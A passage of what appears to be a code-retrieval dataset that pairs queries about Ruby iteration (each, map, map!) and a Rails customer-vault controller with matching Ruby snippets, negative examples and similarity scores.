"def okay_two_sum?(arr, target_sum) # worst case O(N^2), average case O(n log n)\n sorted = arr.sort\n\n arr2 = []\n sorted.each do |num|\n arr2 << target_sum - num\n end\n\n arr2.each_with_index do |num, i| # O(n log n)\n result = sorted.bsearch { |x| x == num }\n if sorted.index(num) == i\n next\n end\n return true if result\n end\n\n false\nend",
"def two_sum(nums, target)\n complements = Hash.new\n \n nums.each_with_index do |num, index|\n if complements.has_key? (target - num)\n return [complements[target - num], index]\n else\n complements[num] = index\n end\n end\n \n return []\nend",
"def sum_pairs(ints, s)\n arr = []\n ints.each do |int|\n target_number = s - int\n if ints.include?(target_number)\n arr << [int, target_number]\n end\n end\n if arr.size == 0\n nil\n else\n arr[0]\n end\nend"
] | [
"0.79553497",
"0.79553497",
"0.79553497",
"0.79233676",
"0.78335655",
"0.77159125",
"0.76176894",
"0.76062435",
"0.76008654",
"0.7576136",
"0.75680906",
"0.7567333",
"0.7561526",
"0.75365806",
"0.7525222",
"0.74562836",
"0.73764396",
"0.73257273",
"0.7315657",
"0.72807586",
"0.7279979",
"0.7244722",
"0.7243911",
"0.71944845",
"0.7161946",
"0.7062019",
"0.7053782",
"0.70175695",
"0.6968387",
"0.69544226",
"0.6926108",
"0.69129634",
"0.6895106",
"0.6874047",
"0.6830194",
"0.680612",
"0.680299",
"0.68022704",
"0.67973983",
"0.6791819",
"0.6744519",
"0.6728837",
"0.67229277",
"0.6706069",
"0.67048514",
"0.6698443",
"0.6685926",
"0.6664924",
"0.6663371",
"0.6656578",
"0.6639764",
"0.6638078",
"0.66132605",
"0.6603462",
"0.65898347",
"0.6543654",
"0.6540619",
"0.65373456",
"0.6536436",
"0.65345293",
"0.6532929",
"0.65142334",
"0.65130067",
"0.6500776",
"0.6495167",
"0.64942056",
"0.648547",
"0.64787537",
"0.6476495",
"0.64750123",
"0.64709044",
"0.6457241",
"0.6452085",
"0.64459616",
"0.6442537",
"0.64329547",
"0.6432723",
"0.64153606",
"0.63875294",
"0.6385275",
"0.6374035",
"0.6361979",
"0.6359571",
"0.6357007",
"0.63545096",
"0.6345256",
"0.6338277",
"0.6335838",
"0.6327323",
"0.63258713",
"0.6319448",
"0.6316385",
"0.63123554",
"0.6309771",
"0.63094044",
"0.63082755",
"0.6304372",
"0.62993646",
"0.62988824",
"0.6298847"
] | 0.7481617 | 15 |
Running the .each method Running .each on the array | def each_map_exp
letters = ["aaa", "b", "c", "d", "e", "a", "b", "h"]
superheroes = {
superman: "flying",
batman: "World's greatest butler",
spiderman: "shooting web"
}
puts "\n\n Using .each\n"
#---------------------------------------
puts "This is before running the block."
p letters
letters.each do |letter|
puts letter
end
p letters
puts "This would be after running the block."
# Running .each on the hash
puts "This is before running the block."
p letters
superheroes.each do |superhero, power|
puts "The superhero #{superhero} has a power of #{power}"
end
puts "This would be after running the block."
# Running the .map method
# Running .map on the array and setting it to a new array
puts "\n\n Using .map\n"
#------------------------
puts "This is before running the letters.map block"
p letters
new_letters_array = letters.map do |letter|
p letter
end
puts "This is after running the letters.map block"
p new_letters_array
# Running .map on the hash and returning an array
puts "This is before running the superhero hash .map block"
p superheroes
new_superhero_hash = superheroes.map do |superhero, power|
p "#{superhero}, #{power}"
end
puts "This is after running the superhero hash .map block\n"
p new_superhero_hash
# Running the .map! method
# Running the destructive .map! on the array
puts "\n\nUsing .map!\n"
#--------------------------
p "This is before running the letters array .map! block"
p letters
letters.map! do |letter|
p letter.next
end
p "This is after running the letters array .map! block"
p letters
# Running the destructive .map! on the Hash --- NO BUENO
def using_map_on_hash
p "This is before running the superhero hash .map! block"
p superheroes
superheroes.map! do |superhero, power|
p "#{superhero}, #{power}"
end
p "This is after running the superhero hash .map! block"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def each\n to_a.each\n end",
"def each\n to_a.each\n end",
"def each\n to_a.each\n end",
"def each(&block)\n @array.each(&block)\n end",
"def each(&block)\n @array.each(&block)\n end",
"def each(&block)\n @array.each(&block)\n end",
"def each(&block)\n to_a.each(&block)\n end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block); end",
"def each(&block)\n array.each(&block)\n end",
"def each\n\t\t\[email protected]\n\t\tend",
"def each\n end",
"def each(&block)\n to_a.each(&block)\n end",
"def each(&block)\n to_a.each(&block)\n end",
"def each(&block)\r\n @arr.each &block\r\n end",
"def each(&block)\r\n @arr.each &block\r\n end",
"def each(&blk)\n to_a.each(&blk)\n end",
"def each(&block)\n end",
"def each(*args, &block)\n array.each(*args, &block)\n end",
"def each(*) end",
"def each(&a_proc); end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each; end",
"def each(&blk)\r\n to_a.each(&blk)\r\n end",
"def each\n if block_given?\n @array.each do |e|\n yield e\n end\n end\n end",
"def each &b\n\t\[email protected](&b)\n\tend",
"def each(&block)\n @all.each(&block)\n end",
"def each(&block)\n all.each(&block)\n end",
"def each(&block)\n to_a.each(&block)\n end",
"def custom_each(array)\r\n i = 0 \r\n while i < array.length \r\n yield array[i]\r\n i += 1\r\n end\r\nend",
"def each\n end",
"def each\n end",
"def each\n end",
"def each\n end",
"def each\n end",
"def each\n end",
"def each(array)\n for elem in array do\n yield(elem)\n end\n\n array\nend",
"def each\n self.to_a.each do |el|\n yield(el)\n end\n end",
"def each\n # passes block - if any - to upstream each.\n to_a.each(&Proc.new)\n end",
"def each\n @arr.each do |n|\n yield(n)\n end\n end",
"def each\n raise 'Not implemented'\n end",
"def custom_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend",
"def my_each(array)\n\t\t#array = []\n\t\tindex = 0\n\t\twhile index < array.length\n\t\t\tyield(array[index])\n\t\t\tindex += 1\n\t\tend\n\t\treturn array\n\tend",
"def each\n\n\t\[email protected] do |x|\n\t\t\tyield x\n\t\tend\n\tend",
"def each()\n self.to_a.each { |elt| yield elt }\n end",
"def custom_each(array)\n i = 0\n while i < array.length\n #yield will pass this element to the block\n yield array[i] #each and single element of array iterate\n i += 1 #to stop infinite loop\n end\nend",
"def each\n end",
"def each\n end",
"def each(&blk); each_value(&blk) ; end",
"def sum_using_each(array)\n end",
"def each(&blk)\n data.each(&blk)\n end",
"def each(&block)\n self.entries.each(&block)\n end",
"def each(&block)\n\n end",
"def each(&block)\n results.each(&block)\n end",
"def each(&block)\n @results.each(&block)\n end",
"def each(&block)\n entries.each(&block)\n end",
"def each(&block)\n entries.each(&block)\n end",
"def each &block\n end",
"def each(&block)\n return all.each(&block)\n end",
"def each\n all.each do |el|\n yield el\n end\n end",
"def each(&block)\n self.data.each(&block)\n end",
"def each(&block)\n entries.each &block\n end",
"def each(&block)\n @data.each(&block)\n end",
"def my_each(array)\n i = 0\n while i < array.length\n yield(array[i])\n array[i]\n i += 1\n end\n array\nend",
"def each(&blk)\n (0..@size-1).each { |i| blk.call(self.[](i)) }\n end",
"def each(array)\n counter = 0\n while counter < array.size do\n yield(array[counter])\n counter += 1\n end\n array\nend",
"def each(&block)\n @collection.each(&block)\n end",
"def my_each(array) # put argument(s) here\n i = 0\n\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def each(&block)\n @results.each &block\n end",
"def each\n group.each\n end",
"def each(&block)\n entries.each(&block)\n self\n end",
"def each(&block)\n\n\n\n values.each &block\n\n\n\n end",
"def each &block\n @entries.each &block\n end",
"def each(&block)\n @collection.each(&block)\n end",
"def each(&block)\nend",
"def each(&block)\n @entries.each(&block)\n end",
"def each &block\n @data.each &block\n end",
"def each\n all.each do |el|\n yield el\n end\n end",
"def each(&block)\n internal_collection.each(&block)\n end",
"def each(&block)\n @items.each(&block)\n end",
"def my_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\n array\nend",
"def each(&blk)\n values.each(&blk)\n end",
"def each &block\n @data.each &block\n end",
"def each\n unless @array.empty?\n @array.size.times do |i|\n yield @array[i]\n end\n end\n end",
"def each_method(array)\n i = 0\n while i< array.length\n yield array[i]\n i +=1\n end\nend",
"def my_each(array) \n n = 0\n while n < array.length \n yield(array[n])\n n = n + 1 \n end\n array\nend",
"def each(&block)\n unless block_given?\n return ArrayEnumerator.new(self, :each ) # for 1.8.7\n end\n i = 0\n lim = self.__size\n while i < lim\n block.call(self.__at(i))\n i += 1\n end\n self\n end",
"def each\r\n @many = true\r\n yield(self)\r\n end"
] | [
"0.7856046",
"0.7856046",
"0.7856046",
"0.7668916",
"0.7668916",
"0.76065975",
"0.7583112",
"0.75376683",
"0.75376683",
"0.75376683",
"0.75376683",
"0.75376683",
"0.75376683",
"0.75316375",
"0.7493566",
"0.7459909",
"0.74490505",
"0.74490505",
"0.7388244",
"0.7388244",
"0.7371396",
"0.7349822",
"0.7344813",
"0.7318479",
"0.73037106",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7302011",
"0.7274797",
"0.7210904",
"0.7208298",
"0.7204182",
"0.7194524",
"0.7184392",
"0.7162293",
"0.71547335",
"0.71547335",
"0.71547335",
"0.71547335",
"0.71547335",
"0.71547335",
"0.71364564",
"0.7080426",
"0.7070271",
"0.7037365",
"0.7025845",
"0.7024352",
"0.7020643",
"0.7016646",
"0.69785404",
"0.6957783",
"0.6906326",
"0.6906326",
"0.6902979",
"0.69022506",
"0.6898556",
"0.6882871",
"0.6882512",
"0.6875193",
"0.68697834",
"0.68597376",
"0.68597376",
"0.68374676",
"0.68289244",
"0.68265605",
"0.6769438",
"0.67576987",
"0.6755619",
"0.6743336",
"0.6735046",
"0.6731641",
"0.672588",
"0.6724891",
"0.6717447",
"0.67060065",
"0.66937125",
"0.66907555",
"0.6684729",
"0.66802716",
"0.668011",
"0.66743636",
"0.6668125",
"0.6660396",
"0.665647",
"0.66540974",
"0.6646469",
"0.6646381",
"0.6645819",
"0.6634912",
"0.66330993",
"0.6625918",
"0.6613107",
"0.6595971"
] | 0.0 | -1 |
Running the destructive .map! on the Hash NO BUENO | def using_map_on_hash
p "This is before running the superhero hash .map! block"
p superheroes
superheroes.map! do |superhero, power|
p "#{superhero}, #{power}"
end
p "This is after running the superhero hash .map! block"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def map(hash); end",
"def remap\n # This is Ruby magic for turning a hash into an array into a hash again\n Hash[*self.map do |key, value|\n yield key, value\n end.compact.flatten]\n end",
"def map! &block\n mapped = enumerable_map(&block)\n clear\n merge mapped\n end",
"def map!(&block)\n self.replace(self.map &block)\n end",
"def my_map_v2(proc = nil) \n selfArr = self.entries\n (0...selfArr.length).each do |i|\n selfArr[i] = proc.call selfArr[i] if !proc.nil?\n selfArr[i] = yield(selfArr[i]) if proc.nil?\n end\n return selfArr\n end",
"def map(&blk)\n _values.map(&blk)\n end",
"def map; end",
"def each_map_exp\n\n \tletters = [\"aaa\", \"b\", \"c\", \"d\", \"e\", \"a\", \"b\", \"h\"]\n\n\tsuperheroes = {\n\t\tsuperman: \"flying\",\n\t\tbatman: \"World's greatest butler\",\n\t\tspiderman: \"shooting web\"\n\t}\n\n\n\tputs \"\\n\\n Using .each\\n\"\n\t#---------------------------------------\n\tputs \"This is before running the block.\"\n\tp letters\n\tletters.each do |letter|\n\t\tputs letter\n\tend\n\tp letters\n\tputs \"This would be after running the block.\"\n\n\t# Running .each on the hash\n\tputs \"This is before running the block.\"\n\tp letters\n\tsuperheroes.each do |superhero, power|\n\t\tputs \"The superhero #{superhero} has a power of #{power}\"\n\tend\n\tputs \"This would be after running the block.\"\n\n\n\n# Running the .map method\n # Running .map on the array and setting it to a new array\n\tputs \"\\n\\n Using .map\\n\"\n\t#------------------------\n\tputs \"This is before running the letters.map block\"\n\tp letters\n\tnew_letters_array = letters.map do |letter|\n\t\tp letter\n\tend\n\tputs \"This is after running the letters.map block\"\n\tp new_letters_array\n\n\t# Running .map on the hash and returning an array\n\tputs \"This is before running the superhero hash .map block\"\n\tp superheroes\n\tnew_superhero_hash = superheroes.map do |superhero, power|\n\t\tp \"#{superhero}, #{power}\"\n\tend\n\tputs \"This is after running the superhero hash .map block\\n\"\n\tp new_superhero_hash\n\n\n# Running the .map! method\n # Running the destructive .map! on the array\n\tputs \"\\n\\nUsing .map!\\n\"\n\t#--------------------------\n\tp \"This is before running the letters array .map! block\"\n\tp letters\n\tletters.map! do |letter|\n\t\tp letter.next\n\tend\n\tp \"This is after running the letters array .map! block\"\n\tp letters\n\n # Running the destructive .map! on the Hash --- NO BUENO\n \tdef using_map_on_hash \n\tp \"This is before running the superhero hash .map! block\"\n\tp superheroes\n\tsuperheroes.map! do |superhero, power|\n\t\tp \"#{superhero}, #{power}\"\n\tend\n\tp \"This is after running the superhero hash .map! block\"\n\tend\nend",
"def _process_hashed(hashed)\n hashed.each_pair do |key, value|\n if value.equal?(Utils::DeletedMarker)\n hashed.delete(key)\n elsif Utils.hashable?(value)\n _process_hashed(value.to_hash).freeze\n end\n end\n\n hashed\n end",
"def map!(&block)\n map(block)\n end",
"def map_keys!(hash, fn)\n hash.keys.each { |key| hash[fn[key]] = hash.delete(key) }\n hash\n end",
"def clean_values(hash)\n hash.map {|h| {h[0] => clean_li_listsings(h[1])} }\n end",
"def cleanse\n select { |_k, v| v }\n end",
"def map(*args, &blk) values.map(*args, &blk) ; end",
"def inject!(hash); end",
"def test(b)\n b.map! {|letter| puts \"I like the letter: #{letter}\"}\nend",
"def my_map_v1 \n selfArr = self.entries\n (0...selfArr.length).each do |i|\n selfArr[i] = yield(selfArr[i])\n end\n return selfArr\n end",
"def hmap\n return map unless block_given?\n map { |k, v| yield(k, v) }.compact.to_h\n end",
"def map(&block)\n dup.map!(&block)\n end",
"def map!\n end",
"def map_values!(hash, fn)\n hash.each { |key, value| hash[key] = fn[value] }\n hash\n end",
"def map\n r = self.dup\n begin\n r[0] = yield r[0]\n r[1] = yield r[1]\n rescue TypeError => e\n warn \"the block associated with #map returned nil; aborting map function\"\n puts e.backtrace\n end\n r\n end",
"def mappa_e_compatta(&block)\n self.map.with_index(&block).compact\n end",
"def map_to(hash)\n ->(x) { hash[x] }\n end",
"def __finalize__\n\t\t@__hash__.each { |k,v|\n\t\t\t@__hash__[k] = v.call if v.respond_to?(:call)\n\t\t}\n\tend",
"def map_into_hash(&block)\n Hash[*map {|x| [x[0], block.call(x)]}.inject([], &:concat)]\n end",
"def map_by_key(arr, key)\n return arr.map { |hash| hash[key] } # map's function : it becomes new elements of hash array\nend",
"def vmap\n return map unless block_given?\n map { |k, v| [k, yield(v)] }.to_h\n end",
"def simbolizza!\n keys.each do |key|\n value = delete key\n value.simbolizza! if value.is_a? Hash or value.is_a? Array\n self[key.to_sym] = value\n end\n self\n end",
"def hash_mapped(hash, prc, &block)\n new_hash = {}\n hash.each do |k, v|\n new_hash[block.call[k]] = prc.call(v)\n end \n new_hash\nend",
"def purge!\n @map = {}\n end",
"def my_hash_modification_method!(source, thing_to_modify)\n source.map do |k, v|\n source[k] = v += thing_to_modify\n end\n return source\nend",
"def flat_map\n self\n end",
"def map!(method=nil, *args, &block)\r\n self.replace(map(method, *args, &block))\r\n end",
"def unop!(meth); map!{|i| meth.call(i)}; end",
"def simbolizza!\n self.map! do |element|\n if element.is_a? Hash or element.is_a? Array\n element.simbolizza!\n else\n element\n end\n end\n self\n end",
"def map_values &block\n keys.inject({}) {|acc,k|\n acc[k] = yield(k, self[k])\n acc\n }\n end",
"def flat_map\n yield(value)\n end",
"def hash_mapped(hash, prc1, &prc2)\n return_hash = Hash.new(0)\n\n hash.each do |k,v|\n return_hash[prc2.call(k)] = prc1.call(v)\n end\n return_hash\nend",
"def hash_flush_out(hash, pre=\"\", post=\"\") \n hash.map do |k,v|\n key = to_chef_key(k)\n res = to_option_string(v)\n (key.nil? || res.nil?) ? nil : \"#{pre}#{key} #{res}#{post}\"\n end\n end",
"def hash_map(array, target)\n hash = {}\n\n (0...array.length).each do |ele|\n\n\n end \n\n\nend",
"def map\n raise \"Do not call me when inspecting!\"\n end",
"def hash_mapped(hash, proc_a, &prc)\n new_hash = Hash.new(0)\n\n hash.each do |k, v|\n new_k = prc.call(k)\n new_hash[new_k] = proc_a.call(v)\n end\n new_hash\nend",
"def test_b(h)\n h.map! { |letter| \"I like the letter: #{letter}\" }\nend",
"def map!\n self.each_stored_with_indices do |e, *i|\n self[*i] = (yield e)\n end\n self\n end",
"def modify_values!\n each_with_object self do |hash_pair, ꜧ|\n ꜧ[ hash_pair[0] ] = yield( hash_pair )\n end\n end",
"def reset\n @map[@map.keys[0]].reset\n @map[@map.keys[1]].reset\n end",
"def array_clone\n new_map = @map.inject([]) do |result,rows|\n result << rows.collect { |e| e}\n end\n \n \n end",
"def collect_on_hash(hash)\n @args.collect{|arg| hash[arg]}\n end",
"def map # :yields: e\n m = self.class.reserve(self.vsize, self.hsize)\n each_with_index { |e, i, j|\n m[i,j] = yield e\n }\n m\n end",
"def my_map\n mapped = []\n each_index { |i| mapped << yield(self[i]) }\n mapped\n end",
"def my_hash_modification_method!(hash, num)\n hash.collect {|key,value|\n hash[key] = value + num}\n return hash\n end",
"def map_keys\n inject(self.class.new) do |memo, (key, value)|\n memo[yield(key)] = value\n memo\n end\n end",
"def map\n yield(@value)\n end",
"def transform_keys!(&block); end",
"def unmap(mapped)\r\n @rev_map[mapped]\r\n end",
"def remap\n each_with_object({}) { |a, hash| hash[yield a[0]] = a[1] }\n end",
"def hash_mapped(hsh, prc, &bloc)\n mapped = Hash.new \n\n hsh.each { |k, v| mapped[bloc.call(k)] = prc.call(v) }\n\n mapped\nend",
"def maps(x) x.map{|i| i * 2} end",
"def test(b)\n b.map! {|letter| \"I like the letter: #{letter}\"}\nend",
"def rehash\n buckets.compact.each do |key, value|\n insert(key, value)\n end\n end",
"def clean_up_map map\n {\n id: map[0].to_i,\n release: map[1],\n unknown1: map[2],\n component: map[3],\n version: map[4],\n path1: map[5],\n path2: map[6],\n unknown2: map[7],\n mode: map[8],\n type: map[9].to_sym,\n unknown3: map[10]\n }\n end",
"def each( &block )\n HTMapHelper.unimap_each( self, &block )\n end",
"def my_map\n\t\tmapped = []\n\t\tif block_given?\n\t\t\tself.my_each { |elt| mapped << (yield elt) }\n\t\tend\n\t\tmapped\n\tend",
"def map!(&prc)\n self.chars.each_with_index do |c, i|\n self[i] = prc.call(c, i)\n end\n end",
"def map\n end",
"def map\n end",
"def remove_empties(h)\n h.delete_if do |_k, v|\n v == '∅∅∅'\n end\n\n h.each_pair do |_k, v|\n remove_empties(v) if v.is_a?(Hash)\n end\n\n h.delete_if do |_k, v|\n v.is_a?(Hash) && v.empty?\n end\n end",
"def hmap_val(&block)\n self.hmap { |k, v| [k, block.call(v)] }\n end",
"def map!(&block_)\n raise TableLockedError if @parent\n @vals.map!(&block_)\n self\n end",
"def map_to_no_change(array)\n return array\nend",
"def mapping; end",
"def mapping; end",
"def map(&block)\n to_a.map(&block)\n end",
"def map(&block)\n to_a.map(&block)\n end",
"def transform_values\n map_to_hash { |key, value| [key, yield(value)] }\n end",
"def remove_by\n synchronized do\n @hash.each_key do |k|\n @hash.delete(k) if yield(k)\n end\n end\n end",
"def lazy_map\n lazify.call(S.map)\n end",
"def to_map(entry)\n def entry.map\n @myhash\n end\n entry.map\n end",
"def map(sym=nil)\n if sym\n if block_given?\n super\n else\n rows = []\n clone(:_sequel_pg_type=>:map, :_sequel_pg_value=>sym).fetch_rows(sql){|s| rows << s}\n rows\n end\n else\n super\n end\n end",
"def map_by_key(arr, key)\n\treturn arr.map {|hash| hash[key]}\nend",
"def transform_keys!\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def sweep\n @accessed_keys.each { |k| @values.delete k }\n @accessed_keys = []\n end",
"def my_map_with_each\n acc = []\n my_each { |e| acc << yield(e) }\n acc\n end",
"def test_map\n up = @kbb.map(&:upcase)\n\n assert_equal('1', up[0])\n assert_equal('BAR', up[2])\n assert_equal('BAZ', up[4])\n assert_equal('BARBAZ', up[14])\n assert_equal(nil, up[15])\n end",
"def each(&block)\n hash.each(&block)\n end",
"def hash_correct(wrong_hash)\r\n wrong_hash.each do |key, value|\r\n puts \"#{value[0]}\" => value\r\n end\r\nend",
"def transform_keys!(hash)\n return enum_for(:transform_keys!, hash) unless block_given?\n hash.keys.each do |key|\n hash[yield(key)] = hash.delete(key)\n end\n hash\n end",
"def initialize_pop_keys\n @pop_keys = mapping.values + non_primitives.flat_map(&:tuple_keys)\n end",
"def test_mod_with_proc_and_no_return\n @hash_builder.values_mod = Proc.new {|element| (element.to_i * 2).to_s}\n expected = {'one' => '2', 'two' => '4', 'three' => '6'}\n map = @hash_builder.hash\n assert_equal(expected, map)\n end",
"def my_map(&my_proc)\n mapped = [] # modified array\n self.my_each do |el|\n mapped << (my_proc != nil ? my_proc.call(el) : yield(el))\n end\n mapped\n end",
"def hash_mapped(hash, prc1, &prc2)\n new_hash = Hash.new\n hash.each do |key, value|\n new_hash[prc2.call(key)] = prc1.call(value)\n end\n new_hash\nend",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def lmap(&block); end",
"def map\n end",
"def transform_keys(&block); end",
"def map &block\n self.class.from_a enumerable_map(&block)\n end",
"def restore_hash_table(hash)\n hash.each do |v, k|\n unless k.empty?\n k.each_with_index { |_, index| hash[v][index] += @total_letters while hash[v][index] < 0 }\n end\n end\n end"
] | [
"0.747928",
"0.6440531",
"0.63388914",
"0.62350595",
"0.6125194",
"0.61101097",
"0.6080118",
"0.6069318",
"0.6030853",
"0.60183483",
"0.6016846",
"0.599887",
"0.59868604",
"0.5980616",
"0.5945175",
"0.5896097",
"0.58908355",
"0.58881724",
"0.58865356",
"0.5882954",
"0.58675283",
"0.5847896",
"0.5809076",
"0.57973325",
"0.5787493",
"0.5734843",
"0.5719938",
"0.5713617",
"0.5676904",
"0.56765926",
"0.56673443",
"0.5644429",
"0.56356907",
"0.56284094",
"0.56235445",
"0.56164676",
"0.5613866",
"0.5612503",
"0.56082386",
"0.55983734",
"0.55899817",
"0.5589549",
"0.5578463",
"0.5574588",
"0.55486417",
"0.5545228",
"0.55203766",
"0.5519645",
"0.55065054",
"0.5505814",
"0.5503448",
"0.55026454",
"0.54981416",
"0.5492869",
"0.54844326",
"0.5483144",
"0.5482039",
"0.5476034",
"0.5469935",
"0.5467396",
"0.5464953",
"0.54606485",
"0.5459658",
"0.5451787",
"0.5439125",
"0.5430689",
"0.5430689",
"0.54306304",
"0.5425265",
"0.54105884",
"0.5409632",
"0.5405163",
"0.5405163",
"0.5404819",
"0.5404819",
"0.5403581",
"0.5399538",
"0.53991926",
"0.53979856",
"0.53967714",
"0.53967375",
"0.5396679",
"0.53926075",
"0.53778",
"0.53773844",
"0.537328",
"0.5371541",
"0.5368871",
"0.535562",
"0.5355512",
"0.53518766",
"0.5335339",
"0.5333004",
"0.5333004",
"0.5333004",
"0.53326094",
"0.53279",
"0.53272927",
"0.5326177",
"0.5320309"
] | 0.643643 | 2 |
main controller for customer vault | def show
# get user client obj for Box API calls
client = user_client
mixpanel_tab_event("My Vault", "Main Page")
@user_access_token = client.access_token
session[:current_page] = "vault"
threads = []
@breadcrumb = {}
session[:current_folder] = params[:id]
# get "My Files" and "Shared Files" folder objects
@myFolder = Rails.cache.fetch("/folder/#{session[:box_id]}/my_folder", :expires_in => 10.minutes) do
client.folder_from_path('My Files')
end
@sharedFolder = Rails.cache.fetch("/folder/#{session[:box_id]}/shared_folder", :expires_in => 10.minutes) do
client.folder_from_path("#{session[:userinfo]['info']['name']} - Shared Files")
end
@sharedFolder.name = "Shared Files"
# check if we're in a subfolder
if (!params[:id].nil? and params[:id] != @sharedFolder.id and params[:id] != @myFolder.id)
@myFolder = Rails.cache.fetch("/folder/#{session[:box_id]}/my_folder/#{params[:id]}", :expires_in => 10.minutes) do
client.folder_from_id(params[:id])
end
# session[:current_folder] = @myFolder.id
# get breadcrumbs
if @myFolder.path_collection?
path = @myFolder.path_collection["entries"].drop(1)
path.each do |item|
@breadcrumb[item.name] = [item.id,true]
end
@breadcrumb[@myFolder.name] = [@myFolder.id, false]
end
end
# set active folder ID, either "My Files" or "Shared Files" folder
if(session[:current_folder].nil?)
@currentFolder = @myFolder.id
else
@currentFolder = session[:current_folder]
end
session[:current_folder] = @currentFolder
# get all files for dashboard vault display, either "My Files" or "Shared Files"
threads << Thread.new do
@myFiles = client.folder_items(@myFolder, fields: [:name, :id, :modified_at])
end
threads << Thread.new do
@sharedFiles = client.folder_items(@sharedFolder, fields: [:name, :id, :modified_at]).files
end
threads.each { |thr| thr.join }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def controller\n end",
"def controller\n end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def vault_customer\n return nil if customer_details.id.nil?\n @gateway.customer.find(customer_details.id)\n end",
"def index\n @vaults = Vault.all\n end",
"def index\n @customer = current_admin.customer\n end",
"def index\n authorize! :manage, PaymentTier\n @payment_tiers = PaymentTier.all\n end",
"def create_blacklight_catalog\n copy_file \"catalog_controller.rb\", \"app/controllers/catalog_controller.rb\"\n end",
"def index\n @customer = Customer.all\n authorize! :list, @customer\n end",
"def controller(controller); end",
"def balance\r\n BalanceController.instance\r\n end",
"def index\n @catalogs = current_user.catalogs.all\n end",
"def index\n\n\t self.merchants_index_preliminary_actions\n\t self.set_vendor_products\n\t self.set_flash\n end",
"def controller; nil; end",
"def show\n redirect_to root_path unless ViewMerchant.new(current_company_user, current_admin, current_merchant_user).check\n determine_user_role()\n load_permission_names()\n end",
"def index\n # Handle bookmarked or otherwise incorrect GETs to the login action\n if request.method == :get\n redirect_to login_path\n else\n redirect_to vault_dashboard_path\n end\n end",
"def index\n authorize ControlledVocabulary\n @cv = ControlledVocabulary.new\n end",
"def set_vault\n @vault = Vault.find(params[:id])\n end",
"def default_catalog_controller\n CatalogController\n end",
"def index\n @admin_vouchers = Admin::Voucher.all\n end",
"def controller\n @controller ||= MainController.new\n end",
"def controller\n platform_service(:controller)\n end",
"def controller\n nil\n end",
"def index\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Paymentterms Index\"\n begin\n payment_terms=RestClient.get $api_service+'/payment_terms'\n @payment_terms=(JSON.parse payment_terms)\n\n user_id = session[:user_id]\n user = RestClient.get $api_service+\"/users/#{user_id}\"\n @user=JSON.parse user\n \n if @payment_terms.present?\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Payment term successfully displayed\"\n else\n Rails.logger.debug_log.debug { \"#{\"Payment Terms may be not available otherwise check backend\"}\"}\n end\n \n rescue => e\n Rails.logger.custom_log.error { \"#{e} paymentterms_controller index method\" }\n end\n end",
"def show\n redirect_to root_path unless ViewTemplate.new(current_merchant_user, current_admin).check\n end",
"def vault\n @vault\n end",
"def index\n if current_user.role == 'customer_admin'\n render json: current_user.customer and return\n else\n authorize! :read_all, Customer\n customers = Customer.order('name asc')\n render json: customers and return\n end\n end",
"def index\n @cost_setups = CostSetup.all.paginate(page: params[:page], per_page: 15)\n authorize User\n end",
"def index\n @_resources = client.credit_contracts.includes(:main_account, :current_account, credit: %i[currency credit_type])\n render layout: 'application_fluid'\n end",
"def index\n authorize! :read, Carpool\n @carpool = Carpool.new\n end",
"def index\n @contracts = Contract.all\n authorize @contracts\n end",
"def show\n\n authorize @cov_recovered\n end",
"def default_catalog_controller\n self\n end",
"def merchants_index_preliminary_actions\n\n # This variable is set to make the tab highlighted when its clicked.\n @from = \"pricelist\"\n\n # This method is called from application_controller, this will set the logged_in_login_name instance variable which will always hold the login_name using which the merchant authenticated.\n set_logged_in_merchant\n\n if (params[:vendor_id].nil?)\n #This method is called from the same file to set the type, vendor and vendor_id instance variables from the current_merchant method called from application_controller which creates a current_merchant instance variable based on the vendor_id mapped to the current login_name and password.\n set_type_vendor_vendor_id\n\n else\n #This method is called from the same file to set the type, vendor and vendor_id instance variables from the vendor_id chosen by a default vendor from the select drop down menu.\n set_type_vendor_vendor_id(params[:vendor_id].to_i)\n\n end\n\n # This method is called from the same file to set the branches select drop down which will display the list of branches for the current vendor.\n set_branches(@vendor.first.vendor_name)\n\n # The model_name instance variable will be set by this method from the current_merchant instance variable\n self.set_model_name\n\n\tif(!session[:notifications_count].nil?)\n\t\ttitle = \"CrawlFish - Merchant Login - Price List\"\n\t\tget_vendor_coupons_count(@vendor_id.to_i,title)\n\telse\n\t\t@meta_merchant_login_title = 'CrawlFish - Merchant Login - Price List'\n\tend\n\n end",
"def index\n render 'pages/purchase_invoice/list'\n end",
"def index\n if(current_user == nil)\n redirect_to home_block_path\n elsif(current_user.volcoordinator != nil)\n redirect_to volcoordinator_path 1 #TODO id = 1 is a hack, remove\n end\n @volcoordinator = Volcoordinator.first\n end",
"def index\n @cart = get_cart()\n end",
"def index\n @accounts = current_user.accounts\n @wallet = current_user.wallet\n authorize @accounts\n end",
